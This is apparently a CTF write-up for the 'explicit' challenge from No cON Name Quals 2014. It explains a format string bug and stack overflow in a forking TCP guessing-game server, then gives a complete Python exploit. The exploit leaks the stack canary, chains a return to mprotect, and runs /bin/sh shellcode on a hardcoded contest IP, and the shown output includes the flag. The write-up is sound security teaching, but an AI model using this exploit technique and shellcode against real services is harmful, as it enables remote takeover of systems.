choppers

No cON Name Quals 2014: explicit

2014-09-15 00:00:02

Analysis

$ file explicit
explicit: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=0x2faf76d097d5425024217b9dc5c5a934ed171609, stripped
$ execstack explicit
- explicit
$

The service is a guessing game. It's a typical fork()'ing tcp server. The service does not wait() for child processes. yuck.

$ nc localhost 7070
Welcome to Guess The Number Online!

Pick a number between 0 and 20: 10
Your number is 10 which is too high.
Pick a number between 0 and 20: 5
Your number is 5 which is too high.
Pick a number between 0 and 20: 3
Your number is 3 which is too low.
Pick a number between 0 and 20: 4
You win! Congratulations!

Bye
$

Vulnerability

There is a stack buffer overflow and a format string bug in the function at 0x08048AAC.

void handle_client(){
    ...
    char stack_buffer[256];

    ...
    /* buffer overflow @ 0x08048B69 */
    fgets(stack_buffer, 1024, sock_file);
    ...
    /* string format @ 0x08048BF7 */
    fprintf(sock_file, stack_buffer);
    ...
}

Exploit Mitigations

A canary directly follows stack_buffer and the stack is not executable.

Exploit

Using the string format bug, it is trivial to leak the value of the stack canary.

Pick a number between 0 and 20: %70$p
Your number is 0x646cbf00 which is too low.

The address of stack_buffer can be determined this way too. A pointer to the first instance of '\n' in stack_buffer is stored in local variable on the stack. This value is used by the service to NULL terminate the input string at the end of the line.

Pick a number between 0 and 20: %5$p
Your number is 0xbf8137e0 which is too low.

The beginning of stack_buff is determined by subtracting strlen("%5$p") from 0xbf8137e0.

Because the service is statically-linked, the return addresses used in the ROP chain can be hard coded. I looked for system() but couldn't find it. I did find mprotect() at 0x0805FA30. By returning to mprotect(), the execution restriction on the stack can be removed, allowing shellcode to run on the stack.

explicit.py

#!/usr/bin/python

import socket
import struct
import telnetlib

TARGET = ("88.87.208.163", 7070)

MPROTECT_ADDR = struct.pack("<I", 0x0805FA30)

shellcode = ""
shellcode += "\xeb\x2c\x5e\x6a\x00\x89\xf0\xeb\x01\x40\x80\x38\x00\x74\x09\x50"
shellcode += "\x80\x38\x00\x74\xf4\x40\xeb\xf8\x31\xc0\x50\x89\xe2\x8d\x4c\x24"
shellcode += "\x04\x8b\x19\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xcf"
shellcode += "\xff\xff\xff"
shellcode += "/bin/sh <&4 >&4 2>&4\x00"
shellcode += "-c\x00"
shellcode += "/bin/sh\x00\x00"


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
s.connect(TARGET)

rx = ""
while rx.find("Pick a number between 0 and 20: ") == -1:
    rx += s.recv(1024)

# leer canary
s.send("%70$08x\n")
rx = ""
while rx.find("Pick a number between 0 and 20: ") == -1:
    rx += s.recv(1024)
canary_str = rx[15:23]
canary_packed = struct.pack("<I", int(canary_str, 16))


# leer stack buffer address
s.send("%5$08x\n")
rx = ""
while rx.find("Pick a number between 0 and 20: ") == -1:
    rx += s.recv(1024)
buff_addr_str = rx[15:23]
buff_addr = int(buff_addr_str, 16) - 6


shellcode_addr = buff_addr + 256 + 4 + 0xC + 5*4
rop = ""
rop += MPROTECT_ADDR
rop += struct.pack("<I", shellcode_addr)
rop += struct.pack("<I", shellcode_addr & 0xFFFFF000)
rop += struct.pack("<I", 0x10000)
rop += struct.pack("<I", 0x7)
rop += shellcode + "\n"

buff = "\x00" * 256
buff += canary_packed
buff += "A" * 0xC
buff += rop

s.send(buff)
rx = ""
while rx.find("Pick a number between 0 and 20: ") == -1:
    rx += s.recv(1024)


s.send("q\n")
rx = ""
while rx.find("Bye\n") == -1:
    rx += s.recv(1024)

t = telnetlib.Telnet()
t.sock = s
t.write("uname -a\n")
t.interact()

output

$ ./explicit.py
Linux ncnchallenges 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64 GNU/Linux
cat ~/flag.txt
NcN_97740ead1060892a253be8ca33c6364a712b21d2